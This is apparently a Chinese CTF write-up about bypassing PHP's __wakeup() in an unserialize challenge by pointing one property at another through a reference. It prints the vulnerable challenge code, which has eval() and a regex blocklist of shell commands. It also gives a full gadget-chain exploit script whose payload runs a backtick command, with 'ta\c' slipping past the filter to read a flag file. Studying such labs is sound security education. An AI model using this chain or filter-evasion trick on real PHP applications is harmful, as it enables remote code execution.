反序列化中利用代码逻辑绕过__wakeup()函数的方法
  7o0lrI1v52Tn 2023年11月27日 43 0

记录一个反序列化中利用代码逻辑绕过__wakeup()函数的方法

题目代码

<?php
  error_reporting(0);

class mouse
{
  public $rice;
  function __isset($n){
    $this->rice->nothing();
  }

}

class dog
{
  public $a;
  public $b;
  public $c;
  function __wakeup(){
    $this->a = 'chance?';
  }
  function __destruct(){
    $this->b = $this->c;
    die($this->a);
  }
}

class ct
{
  public $fish;

  function __toString()
  {
    if(isset($this->fish->d))
    {
      echo 'you wrong';
    }
  }

}

class get
{
  public $cmd;

  function __call($name,$no)
  {
    eval($this->cmd);
  }
}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
  echo "you will get flag".'</br>';
  unserialize($pop);
}
else{
  die("Try again!");
}


分析

梳理一下类,还是比较简单的,目标就是执行get类的call函数里的eval执行命令,通过mouse的isset触发call,通过ct的toString触发isset,通过dog的destruct触发toString。
这里需要把a实例化为ct的对象,用die触发toString,但是wakeup会给a赋值成为字符串,就需要绕过这个wakeup函数。
做这个题的时候环境是没有给出PHP版本,所以试过修改成员变量数、C绕过都没有成功,然后细看了一下abc三个变量,可以利用代码逻辑去绕过,这里先给出利用方法。

$re=new dog(); 
$re->c=new ct();

我们实例化一个dog对象,此时a为chance?,b为空,c为ct的对象

$re->b=&$re->a;

这里我们把a的地址给到了b,那么后续对b的修改就等于对a进行了修改

$this->b = $this->c;

这一步就是把c的值赋给了b,也就是对a进行了修改,这一步之后a的值就成为了一个对象,然后die函数会触发toString执行下去。
其实一句话总结就是,在new一个对象的时候,代码中在new之后又对目标变量进行修改的时候,我们可以利用一个可控的变量1去指向目标变量,然后用另一个可控变量2改变可控变量1的值,间接改变目标变量

$re=new dog();
$re->c=new ct();
$re->b=&$re->a;

所以这三步下来代码已经可以到toString这里了
后续就是一个命令执行的绕过了,看了一下正则,没有过滤反引号 `,然后需要一个打印返回值的函数,就用print_r()就行。
最后给出payload

<?php


class mouse
{
    public $rice;

    function __isset($n)
    {
        $this->rice->nothing();
    }

}

class dog
{
    public $a;
    public $b;
    public $c;

    function __wakeup()
    {
        $this->a = 'chance?';
    }

    function __destruct()
    {
        $this->b = $this->c;
        die($this->a);
    }
}

class ct
{
    public $fish;

    function __toString()
    {
        if (isset($this->fish->d)) {
            echo 'you wrong';
        }
    }

}

class get
{
    public $cmd;

    function __call($name, $no)
    {
        eval($this->cmd);
    }
}

$re=new dog();
$re->c=new ct();
$re->b=&$re->a;
$re->c->fish=new mouse();
$re->c->fish->rice=new get();
$re->c->fish->rice->cmd='print_r(`ta\c /realflag/you_want_flag.php`);';
echo serialize($re);
【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月27日 0

暂无评论

推荐阅读
  7o0lrI1v52Tn   2023年12月10日   31   0   0 phpCTFweb